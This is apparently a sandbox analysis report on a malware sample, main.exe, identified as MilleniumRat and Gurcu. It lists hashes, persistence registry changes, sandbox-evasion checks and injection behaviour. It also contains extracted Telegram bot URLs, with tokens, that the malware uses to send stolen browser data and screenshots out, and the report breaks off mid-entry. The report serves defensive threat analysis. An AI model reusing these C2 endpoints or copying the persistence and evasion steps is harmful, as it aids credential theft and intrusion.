Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
147s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
03/11/2024, 17:36
Behavioral task
behavioral1
Sample
main.exe
Resource
win10v2004-20241007-en
General
-
Target
main.exe
-
Size
36.5MB
-
MD5
9f09d0dba3dea3472d039ba178561591
-
SHA1
bd48f54e05723bce7633e3666e435bc93119a695
-
SHA256
368b48a3e6134ad48aaf1d16f1f94efd147a2fdd96909cad7e1d15a6e6ce7893
-
SHA512
7fc8f096e76c64ef4dbd87e3045a3daecabd22cb074f3c10927281aac4c9e7b7e9ce068263078d519692f1d1be3127971c00b37be41254120aab2a267a5b62ed
-
SSDEEP
786432:p8MdYj/rmTVKqB2cYrlyaBa5/X3QSPTvoIkQxAYamqZKNk:SjiTkrlyzX3QSPZDxlamqZKG
Malware Config
Extracted
gurcu
https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%82%20-%20Browser%20data%0A%E2%94%9C%E2%94%80%E2%94%80%20%F0%9F%93%82%20-%20cookies(0.25%20kb
https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendMessage?chat_id=-1002245526003
https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/getUpdates?offset=-
https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/getFile?file_id=BQACAgEAAyEFAASF2AHzAALcQmcntOTmMkgpILoySo-YssWaZGtHAAKYBAACYbA5RdOgu6AHiyLBNg
https://api.telegram.org/bot7457548429:AAGMvKYWjBbGXayEC5uoksRl1i2BIy7ylDg/sendMessage?chat_id=6024388590
https://api.telegram.org/bot7457548429:AAGMvKYWjBbGXayEC5uoksRl1i2BIy7ylDg/getUpdates?offset=-
https://api.telegram.org/bot7258239318:AAE_J6DhWLSRk9YOV8l1ienRdy5HsJZuR6I/sendDocument?chat_id=-1002245526003&caption=%F0%9F%93%B8Screenshot%20take
Signatures
-
Gurcu family
-
MilleniumRat
MilleniumRat is a remote access trojan written in C#.
-
Milleniumrat family
-
Modifies WinLogon for persistence 2 TTPs 5 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\sppsvc.exe\", \"C:\\Users\\All Users\\SoftwareDistribution\\dllhost.exe\", \"C:\\Program Files\\dotnet\\swidtag\\backgroundTaskHost.exe\", \"C:\\Users\\Public\\Music\\Registry.exe\", \"C:\\Users\\Public\\Documents\\Idle.exe\"" ChainComServermonitor.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\sppsvc.exe\"" ChainComServermonitor.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\sppsvc.exe\", \"C:\\Users\\All Users\\SoftwareDistribution\\dllhost.exe\"" ChainComServermonitor.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\sppsvc.exe\", \"C:\\Users\\All Users\\SoftwareDistribution\\dllhost.exe\", \"C:\\Program Files\\dotnet\\swidtag\\backgroundTaskHost.exe\"" ChainComServermonitor.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "explorer.exe, \"C:\\Recovery\\WindowsRE\\sppsvc.exe\", \"C:\\Users\\All Users\\SoftwareDistribution\\dllhost.exe\", \"C:\\Program Files\\dotnet\\swidtag\\backgroundTaskHost.exe\", \"C:\\Users\\Public\\Music\\Registry.exe\"" ChainComServermonitor.exe -
Process spawned unexpected child process 15 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 7072 4156 schtasks.exe 100 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 7080 4156 schtasks.exe 100 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3724 4156 schtasks.exe 100 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4004 4156 schtasks.exe 100 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4672 4156 schtasks.exe 100 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2408 4156 schtasks.exe 100 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4700 4156 schtasks.exe 100 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1088 4156 schtasks.exe 100 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2168 4156 schtasks.exe 100 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1652 4156 schtasks.exe 100 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 428 4156 schtasks.exe 100 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2724 4156 schtasks.exe 100 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4240 4156 schtasks.exe 100 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4052 4156 schtasks.exe 100 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 5216 4156 schtasks.exe 100 -
Suspicious use of NtCreateUserProcessOtherParentProcess 12 IoCs
description pid Process procid_target PID 660 created 3464 660 setup.exe 56 PID 660 created 3464 660 setup.exe 56 PID 660 created 3464 660 setup.exe 56 PID 660 created 3464 660 setup.exe 56 PID 660 created 3464 660 setup.exe 56 PID 660 created 3464 660 setup.exe 56 PID 4624 created 3464 4624 updater.exe 56 PID 4624 created 3464 4624 updater.exe 56 PID 4624 created 3464 4624 updater.exe 56 PID 4624 created 3464 4624 updater.exe 56 PID 4624 created 3464 4624 updater.exe 56 PID 4624 created 3464 4624 updater.exe 56 -
Contacts a large (2363) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
-
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 6588 powershell.exe 5820 powershell.exe -
Downloads MZ/PE file
-
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosDate wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion wmiprvse.exe -
Checks computer location settings 2 TTPs 10 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation s.exe Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation svchost.exe Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation svchost64.exe Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation Build.exe Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation hacn.exe Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation ChainComServermonitor.exe Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation main.exe Key value queried \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\Control Panel\International\Geo\Nation Update.exe -
Executes dropped EXE 18 IoCs
pid Process 3884 Build.exe 3388 hacn.exe 1844 based.exe 3996 based.exe 3288 Build.exe 1488 Build.exe 4312 s.exe 996 main.exe 2708 svchost.exe 3044 crss.exe 660 setup.exe 3860 crss.exe 2104 ChainComServermonitor.exe 5632 Update.exe 6440 Registry.exe 4624 updater.exe 3016 svchost64.exe 7136 ChainComServermonitor.exe -
Loads dropped DLL 48 IoCs
pid Process 4964 main.exe 4964 main.exe 3996 based.exe 3996 based.exe 3996 based.exe 3996 based.exe 3996 based.exe 3996 based.exe 3996 based.exe 3996 based.exe 3996 based.exe 3996 based.exe 3996 based.exe 3996 based.exe 3996 based.exe 3996 based.exe 3996 based.exe 1488 Build.exe 1488 Build.exe 996 main.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 3860 crss.exe 5632 Update.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Adds Run key to start application 2 TTPs 12 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Recovery\\WindowsRE\\sppsvc.exe\"" ChainComServermonitor.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\backgroundTaskHost = "\"C:\\Program Files\\dotnet\\swidtag\\backgroundTaskHost.exe\"" ChainComServermonitor.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\backgroundTaskHost = "\"C:\\Program Files\\dotnet\\swidtag\\backgroundTaskHost.exe\"" ChainComServermonitor.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\Users\\Public\\Documents\\Idle.exe\"" ChainComServermonitor.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\галиндо = "C:\\ProgramData\\crss.exe" crss.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Users\\All Users\\SoftwareDistribution\\dllhost.exe\"" ChainComServermonitor.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dllhost = "\"C:\\Users\\All Users\\SoftwareDistribution\\dllhost.exe\"" ChainComServermonitor.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\Users\\Public\\Music\\Registry.exe\"" ChainComServermonitor.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Registry = "\"C:\\Users\\Public\\Music\\Registry.exe\"" ChainComServermonitor.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Idle = "\"C:\\Users\\Public\\Documents\\Idle.exe\"" ChainComServermonitor.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ChromeUpdate = "C:\\Users\\Admin\\AppData\\Roaming\\GoogleChromeUpdateLog\\Update.exe" reg.exe Set value (str) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\sppsvc = "\"C:\\Recovery\\WindowsRE\\sppsvc.exe\"" ChainComServermonitor.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
flow ioc 38 raw.githubusercontent.com 39 raw.githubusercontent.com 40 raw.githubusercontent.com 134 raw.githubusercontent.com -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 30 ip-api.com 47 api.ipify.org 48 api.ipify.org -
Drops file in System32 directory 9 IoCs
description ioc Process File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\FB0D848F74F70BB2EAA93746D24D9749 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File created \??\c:\Windows\System32\-63gkj.exe csc.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506 svchost.exe File opened for modification C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules.xml OfficeClickToRun.exe File created \??\c:\Windows\System32\CSC598640B2D78645F1BE57189E406261B3.TMP csc.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
pid Process 5784 tasklist.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
pid Process 3860 crss.exe -
Suspicious use of SetThreadContext 4 IoCs
description pid Process procid_target PID 660 set thread context of 5060 660 setup.exe 167 PID 4624 set thread context of 7160 4624 updater.exe 189 PID 4624 set thread context of 6728 4624 updater.exe 192 PID 4624 set thread context of 6688 4624 updater.exe 193 -
resource yara_rule behavioral1/files/0x0007000000023cab-12.dat upx behavioral1/memory/4964-16-0x00007FFD9F130000-0x00007FFD9F596000-memory.dmp upx behavioral1/files/0x0007000000023ca5-23.dat upx behavioral1/files/0x0007000000023ca8-26.dat upx behavioral1/files/0x0007000000023ca7-25.dat upx behavioral1/files/0x0007000000023ca6-24.dat upx behavioral1/files/0x0007000000023ca4-22.dat upx behavioral1/files/0x0007000000023cad-21.dat upx behavioral1/files/0x0007000000023cac-20.dat upx behavioral1/files/0x0007000000023caa-19.dat upx behavioral1/memory/3996-78-0x00007FFD9C200000-0x00007FFD9C666000-memory.dmp upx behavioral1/memory/3996-86-0x00007FFDAEE20000-0x00007FFDAEE2F000-memory.dmp upx behavioral1/memory/3996-85-0x00007FFDAA2A0000-0x00007FFDAA2C4000-memory.dmp upx behavioral1/files/0x0007000000023cba-84.dat upx behavioral1/files/0x0007000000023caf-82.dat upx behavioral1/files/0x0007000000023cb6-102.dat upx behavioral1/files/0x0007000000023cb5-101.dat upx behavioral1/files/0x0007000000023cb3-99.dat upx behavioral1/files/0x0007000000023cc0-113.dat upx behavioral1/memory/3996-114-0x00007FFD9A830000-0x00007FFD9A9AA000-memory.dmp upx behavioral1/memory/3996-119-0x00007FFDAEB50000-0x00007FFDAEB5D000-memory.dmp upx behavioral1/memory/3996-120-0x00007FFD9F9F0000-0x00007FFD9FA1E000-memory.dmp upx behavioral1/memory/3996-125-0x00007FFD9A3F0000-0x00007FFD9A4A8000-memory.dmp upx behavioral1/memory/3996-124-0x00007FFD9C200000-0x00007FFD9C666000-memory.dmp upx behavioral1/memory/3996-130-0x00007FFDAE680000-0x00007FFDAE68D000-memory.dmp upx behavioral1/memory/3996-147-0x00007FFDAEE20000-0x00007FFDAEE2F000-memory.dmp upx behavioral1/memory/3996-146-0x00007FFDAA2A0000-0x00007FFDAA2C4000-memory.dmp upx behavioral1/memory/3996-145-0x00007FFD9C200000-0x00007FFD9C666000-memory.dmp upx behavioral1/memory/3996-143-0x00007FFDAAA70000-0x00007FFDAAA85000-memory.dmp upx behavioral1/memory/3996-141-0x00007FFD9A4B0000-0x00007FFD9A829000-memory.dmp upx behavioral1/memory/3996-140-0x00007FFD9F9F0000-0x00007FFD9FA1E000-memory.dmp upx behavioral1/memory/3996-137-0x00007FFD9A830000-0x00007FFD9A9AA000-memory.dmp upx behavioral1/memory/3996-136-0x00007FFDAC4F0000-0x00007FFDAC50F000-memory.dmp upx behavioral1/memory/3996-135-0x00007FFDAD9F0000-0x00007FFDADA08000-memory.dmp upx behavioral1/memory/3996-142-0x00007FFD9A3F0000-0x00007FFD9A4A8000-memory.dmp upx behavioral1/memory/3996-128-0x00007FFDAAA70000-0x00007FFDAAA85000-memory.dmp upx behavioral1/memory/3996-139-0x00007FFDAEB50000-0x00007FFDAEB5D000-memory.dmp upx behavioral1/memory/3996-138-0x00007FFDAC3A0000-0x00007FFDAC3B9000-memory.dmp upx behavioral1/memory/3996-134-0x00007FFD9FA20000-0x00007FFD9FA4C000-memory.dmp upx behavioral1/memory/3996-127-0x00007FFDAA2A0000-0x00007FFDAA2C4000-memory.dmp upx behavioral1/memory/3996-123-0x00007FFD9A4B0000-0x00007FFD9A829000-memory.dmp upx behavioral1/files/0x0007000000023cbb-122.dat upx behavioral1/memory/3996-118-0x00007FFDAC3A0000-0x00007FFDAC3B9000-memory.dmp upx behavioral1/memory/3996-112-0x00007FFDAC4F0000-0x00007FFDAC50F000-memory.dmp upx behavioral1/memory/3996-110-0x00007FFDAD9F0000-0x00007FFDADA08000-memory.dmp upx behavioral1/memory/3996-109-0x00007FFD9FA20000-0x00007FFD9FA4C000-memory.dmp upx -
Drops file in Program Files directory 3 IoCs
description ioc Process File created C:\Program Files\dotnet\swidtag\backgroundTaskHost.exe ChainComServermonitor.exe File created C:\Program Files\dotnet\swidtag\eddb19405b7ce1 ChainComServermonitor.exe File created C:\Program Files\Google\Chrome\updater.exe setup.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe -
Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 6084 sc.exe 6388 sc.exe 2636 sc.exe 3784 sc.exe 6860 sc.exe 6864 sc.exe 6840 sc.exe 5952 sc.exe 3996 sc.exe 5172 sc.exe -
Detects Pyinstaller 2 IoCs
resource yara_rule behavioral1/files/0x000c0000000006d1-153.dat pyinstaller behavioral1/files/0x0009000000023cb2-199.dat pyinstaller -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost64.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Build.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language s.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe -
System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
pid Process 392 PING.EXE -
Checks SCSI registry key(s) 3 TTPs 18 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Mfg wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CDROM&VEN_QEMU&PROD_QEMU_DVD-ROM\4&215468A5&0&010000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\ConfigFlags wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000\LogConf wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\CompatibleIDs wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Service wmiprvse.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_WDC&PROD_WDS100T2B0A\4&215468A5&0&000000 wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\HardwareID wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\DeviceDesc wmiprvse.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_QEMU&Prod_QEMU_DVD-ROM\4&215468a5&0&010000\Mfg wmiprvse.exe -
Checks processor information in registry 2 TTPs 8 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier wmiprvse.exe Key opened \REGISTRY\MACHINE\HARDWARE\Description\System\CentralProcessor\0 Update.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier Update.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key security queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information wmiprvse.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString wmiprvse.exe -
Delays execution with timeout.exe 1 IoCs
pid Process 5708 timeout.exe -
Enumerates system info in registry 2 TTPs 1 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\Identifier wmiprvse.exe -
description ioc Process Key created \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\e0b3c236_0\{219ED5A0-9CBF-4F3A-B927-37C9E5C5F14F} svchost.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\e0b3c236_0\{219ED5A0-9CBF-4F3A-B927-37C9E5C5F14F}\3 = 04000000000000000000803f000000000000000000000000 svchost.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\e0b3c236_0\{219ED5A0-9CBF-4F3A-B927-37C9E5C5F14F}\4 = 0420000000000000180000000000000000000000000000000000803f0000803f svchost.exe Set value (data) \REGISTRY\USER\S-1-5-21-2878641211-696417878-3864914810-1000\SOFTWARE\Microsoft\Internet Explorer\LowRegistry\Audio\PolicyConfig\PropertyStore\e0b3c236_0\{219ED5A0-9CBF-4F3A-B927-37C9E5C5F14F}\5 = 0b0000000000000000000000000000000000000000000000 svchost.exe -
Modifies data under HKEY_USERS 60 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesLastModified\officeclicktorun.exe_queried = "1730655494" OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor OfficeClickToRun.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key deleted \REGISTRY\USER\.DEFAULT\SOFTWARE\MICROSOFT\OFFICE\16.0\COMMON\CLIENTTELEMETRY\RULESMETADATA\OFFICECLICKTORUN.EXE\ULSMONITOR OfficeClickToRun.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Office\16.0\Common\ClientTelemetry\RulesMetadata\officeclicktorun.exe\ULSMonitor\ULSCategoriesSeverities = "1329 